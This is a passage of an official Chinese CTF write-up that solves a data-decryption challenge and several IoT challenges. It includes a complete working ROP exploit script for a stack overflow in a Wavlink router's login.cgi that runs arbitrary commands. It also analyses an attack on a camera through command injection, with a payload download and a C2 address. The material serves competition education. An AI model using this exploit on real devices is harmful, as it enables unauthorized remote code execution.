在 hack.py 中 hackkey 的哈希值作为 AES 的密钥,然后使用 aes 的 EAX 加密认证模式对信息进行加密,并生成一个消息认证码(MAC)。其中 `ciphertext` 是加密后的数据,`tag`(消息认证码)用于验证数据的完整性和真实性。最后用 rsa 对 aes 秘钥进行加密。所以总体是一个 rsa 嵌套 aes 加密的一个流程。不过其实只要能得到 aes_key 即可,所以就是直接得到环境变量里的 hackkey 并对其计算 sha256 就是 AES 的密钥,或者解密 rsa 也能得到 aes_key,两者知道其一即可。

其中以下三个变量的值即之前通过 consoles 命令得到的输出内容

```pythonprint(enc_aes_key.hex())print(cipher_aes.nonce.hex())print(tag.hex())```

知道了加密后,写对应解密即可

```pythonimport osimport hashlibfrom Crypto.Cipher import AES, PKCS1_OAEPfrom Crypto.PublicKey import RSAhackkey = '4etz0hHbU3TgKqduFL'with open('private.pem', 'rb') as f:    private_key = RSA.import_key(f.read())with open('encrypted_data.bin', 'rb') as f:    ciphertext = f.read()enc_aes_key = bytes.fromhex('20d96098010eb9b326be6c46e1ce1ca679e29f1d65dec055cf8c46c6436c3356af2dc312b2d35466308b9fff0dd427b44a37e34fca12992e45db2ddd81884bd8eb5bccd3c595e8a9a352bd61322e1d52329d6c8638bbfce65edffbc4d3a5759e88c0f90e31ce518837552a3a09d8e7e3c374f3857bfe501cce2066fb233ff1f5faac18d73c3b665a54e8c55574f16bf4678c5ce835d2a14a65f8c1cec012435a8c06314cbe727a3a9b6060dfd6cdb850073423841178f6f409bb7ce8d4863c6f58855954d34af3d2964c488c9057c8c5072a54e43f1f8039d32409eb1ff3abca41c0b302788c4c56c1a4be4506ff5b8aff0242e21c0ee7ffee2da20ed9434334')nonce = bytes.fromhex('d919c229aab6535efa09a52c589c8f47')tag = bytes.fromhex('5b204675b1b173c32c04b0b8a100ee29')cipher_rsa = PKCS1_OAEP.new(private_key)aes_key = cipher_rsa.decrypt(enc_aes_key)derived_aes_key = hashlib.sha256(hackkey.encode()).digest()if aes_key != derived_aes_key:    raise ValueError("Decryption failed: AES key mismatch")cipher_aes = AES.new(aes_key, AES.MODE_EAX, nonce=nonce)data = cipher_aes.decrypt_and_verify(ciphertext, tag)with open('data.csv', 'wb') as f:    f.write(data)```

运行得到 data.csv 文件

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

很明显,该文件确实恢复出来了,但是其中“个性签名(加密版)”经过了某种加密运算。

```编号,用户名,密码,姓名,性别,出生日期,个性签名(加密版)1,sWEbvrLvgyFO9u8,vHBhvVXS2JvLnTTo,胜屠翰池,男,19761023,korvy4fjEBP6AKeDValKDfzBRK9sKDSIHVakq3NXMMU32,wangguizhi,3E8vleDJFC,桓玉珂,女,20050814,NF+z3NevQqWILNqNvUznlOFie3KLuhIztQNLFnRy3,kofxlSO1C3XEXP3QPH1lEg5WQ,4U86p3uzw7xV,崎邱炜,男,20000710,yutW+1ipTbce3pcz+BEIBS48fX7NF5hh8bWEdigYsHca3vo/dQ0Nl+YFmpl5UD4Onga0hGehitNvMrG4XNFdH+lHEg==```

经尝试,发现是使用其对应的密码对该密文进行 RC4 解密,例如对第一条数据用其密码作为 rc4 密钥对密文进行解密,可以成功解出来

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

那么写个批量脚本进行 rc4 解密即可

```pythonimport pandas as pdfrom Crypto.Cipher import ARC4import base64def decrypt_rc4(ciphertext, key):    cipher = ARC4.new(key.encode())    decrypted_data = cipher.decrypt(base64.b64decode(ciphertext))    return decrypted_data.decode('utf-8')df = pd.read_csv('data.csv')df['个性签名(解密版)'] = df.apply(lambda row: decrypt_rc4(row['个性签名(加密版)'], row['密码']), axis=1)df.to_csv('data_decode.csv', index=False)```

搜索得到其中序号为 1329 的个性签名解密后存在 flag

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

所以 flag 是 DASCTF{fc450e2a9062a39049d501cb5ce287d0}。

IOT

IOT

blink

  • 解题步骤

使用IDA分析esp32固件,发现存在莫斯电码字符串

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

分析函数可以得到此时会根据led灯的亮灭来和时长来决定是。- 还是空格,分析可以得到亮后大概延迟200ms然后灭代表的是. ,亮后大概延迟600ms然后灭代表的是-,1400ms的延迟是空格。

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

最后解出flag: DASCTF{rtosandmorseisveryeasyhahhaha}

IOT

easy-uboot

  • 解题步骤

启动命令是

```qemu-system-x86_64 -cpu qemu64-v1 -bios u-boot.rom -drive file=./uboot.disk,format=raw,if=ide -nographic```

uboot密码是doudoudedi

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

通过命令将磁盘读取到内存中,然后读取内存中的flag

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

```load ide 0:2 0x0000000 flagmd 0```

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

IOT

linkon

  • 解题步骤

题目附件给出了一整个虚拟机镜像

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

使用boot.sh脚本启动,输入用户密码root/root

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

因为向外暴露了80端口,查看当前运行的进程是lighttpd

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

浏览器访问

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

审计/root/cpio-root/etc_ro/lighttpd/www/cgi-bin/目录下对应的cgi程序。

其中前台组件login.cgi的Goto_chidx函数存在堆栈溢出漏洞,由于该漏洞是在登录Web管理页面时触发的,因此可能导致未经授权的远程代码执行。

它从POST请求中接受Goto_chidx和wlanUrl参数。

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

然后wlanUrl参数被sprintf函数直接复制到堆栈上的变量中,导致堆栈溢出。

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

有两个注意点:

一是main函数中存在check_csrf_referer函数,防止跨站请求伪造(CSRF)。

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

仔细看check_csrf_referer函数代码:

```cint check_csrf_referer(){const char *v0; // $s5const char *v1; // $s7int v2; // $v0const char *v3; // $s2const char *v4; // $s6char *v5; // $s1char *v6; // $s4const char *v7; // $fpint result; // $v0  FILE *v9; // $s0  FILE *v10; // $s0bool v11; // dc  v0 = (const char *)nvram_bufget(0, "SYS_DOMAIN1");  v1 = (const char *)nvram_bufget(0, "SYS_DOMAIN2");  v3 = (const char *)nvram_bufget(0, "lan_ipaddr");  v2 = get_wanif_name();  v4 = (const char *)get_ipaddr(v2);  v5 = getenv("HTTP_REFERER");  v6 = getenv("HTTP_HOST");  v7 = (const char *)nvram_bufget(0, "MeshMode");if ( !access("/tmp/web_log", 0) )  {    v10 = fopen("/dev/console", "w+");if ( v10 )    {fprintf(v10, "%s:%s:%d:http_host-- %snn", "utils.c", "check_csrf_referer", 2101, v6);      fclose(v10);    }  }if ( !access("/tmp/web_log", 0) )  {    v9 = fopen("/dev/console", "w+");if ( v9 )    {fprintf(        v9,"%s:%s:%d:http_refer-- %s  ipv4_lan== %s ipv4_wan== %s domain1== %s domain2== %snn","utils.c","check_csrf_referer",2102,        v5,        v3,        v4,        v0,        v1);      fclose(v9);    }  }if ( !v5 )return -1;if ( strstr(v5, v3) )return 0;  v11 = strstr(v5, v0) != 0;  result = 0;if ( !v11 )  {    v11 = strstr(v5, v1) != 0;    result = 0;if ( !v11 )    {      v11 = strstr(v5, v4) != 0;      result = 0;if ( !v11 )      {        v11 = strcmp(v7, "2") != 0;        result = -1;if ( !v11 )        {          v11 = strstr(v6, v3) != 0;          result = 0;if ( !v11 )          {            v11 = strstr(v6, v0) != 0;            result = 0;if ( !v11 )            {              v11 = strstr(v6, v1) != 0;              result = 0;if ( !v11 )              {if ( strstr(v6, v4) )return 0;return -1;              }            }          }        }      }    }  }return result;}```

由于模拟出的环境没有nvram,要使check_csrf_referer()返回0,需要满足HTTP_REFERER不为空即可。

还需注意的点是,CGI在获取POST请求包数据部分的长度后有检验它的值是否大于499。所以我们发送的post请求包数据长度不能超过499.

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

由于给的是虚拟机且没开aslr,本地的libc地址和远程是一致的。

最终利用EXP:

```pythonimport requestsfrom pwn import *import sys#context.log_level="debug"libwebutil_base=0x77e1e000if len(sys.argv)!=3:    print("Usage: python %s ip "command""%sys.argv[0])    exit(0)ip= sys.argv[1]cmd= sys.argv[2]'''.text:00007970 28 00 BC 8F lw $gp, 0x28($sp).text:00007974 00 00 00 00 nop.text:00007978 C8 80 99 8F la $t9, do_system.text:0000797C 00 00 00 00 nop.text:00007980 09 F8 20 03 jalr $t9 ; do_system.text:00007984             move    $a0, $s0'''fmt=libwebutil_base+0x578b8  #"%s"#fmt=libwebutil_base+0x578d0rop=libwebutil_base+0x7970gp=libwebutil_base+0x5d550 #fix $gpcmd=b"a;"+cmd.encode()+b";x00"#payload=b"page=Goto_chidx&wlanUrl="#payload+=b"a"*(140-12)payload=b"a"*(128)#payload+=b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab"payload+=p32(fmt)+b"b"*8payload+=p32(rop)+b"c"*40+p32(gp)+cmdHead = {'Referer': 'wifi.wavlink.com'}url = "http://%s/cgi-bin/login.cgi"%ipData = {"page":"Goto_chidx","wlanUrl":payload}response = requests.post(url,headers=Head,data=Data)print(response.text)print(response)#python exp.py 127.0.0.1 'echo `cat /flag` >> /etc_ro/lighttpd/www/login.shtml'```

执行

```python exp.py 127.0.0.1 'echo `cat /flag` >> /etc_ro/lighttpd/www/login.shtml'```

即可将根目录的/flag写到前台面板,访问即可获得flag。

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

IOT

sharkp

  • 解题步骤

题目附件给出固件包、流量包和以下提示:

```小李的摄像头被黑客入侵了,但只捕获到了单向的流量包,请分析摄像头固件与对应的流量,回答以下问题:攻击者利用摄像头哪个接口实现的RCE?攻击者回连的C2服务器ip地址是什么?flag格式:flag{接口名称_ip地址}  例:flag{qweasd_127.0.0.1}```

分析固件包

对alphapd程序进行逆向分析,定位到漏洞函数sub_42754C。

!

(https://c.img.dasctf.com/LightPicture/2024/12/51cadbdad19ea34c.jpg)

它在获取AdminID的值后拼接到sed命令里面执行。这里就存在命令注入漏洞。对这个函数进行交叉引用。发现其触发的路径路由为setSystemAdmin。

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

找到对应的流量包

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

发现它通过在AdminID字段注入telnetd命令开启了摄像头的telnet服务。

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

分析telnet流量,发现攻击者执行了以下命令:

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

攻击者从2.65.87.200:8000下载了b程序到本地执行。

过滤8000端口

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

发现返回包是一个ELF程序

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

将这个ELF提取出来,拖入IDA分析。

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

找系统调用,分析汇编代码,转换十六进制,得到ip地址为115.195.88.161

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

得到最终flag:setSystemAdmin_115.195.88.161

往期精选

八载磨剑西湖畔,网安群英问鼎时——第八届西湖论剑大赛今日正式启动报名

2024-12-20

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

热血青春,仗剑天涯!第八届西湖论剑网络安全技能大赛报名火热进行中!

2025-01-06

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

今日截止!第八届西湖论剑大赛报名将于今日18:00截止~

2025-01-12

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

原文始发于微信公众号(恒星EDU):第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月28日15:19:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(上)http://cn-sec.com/archives/3664989.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息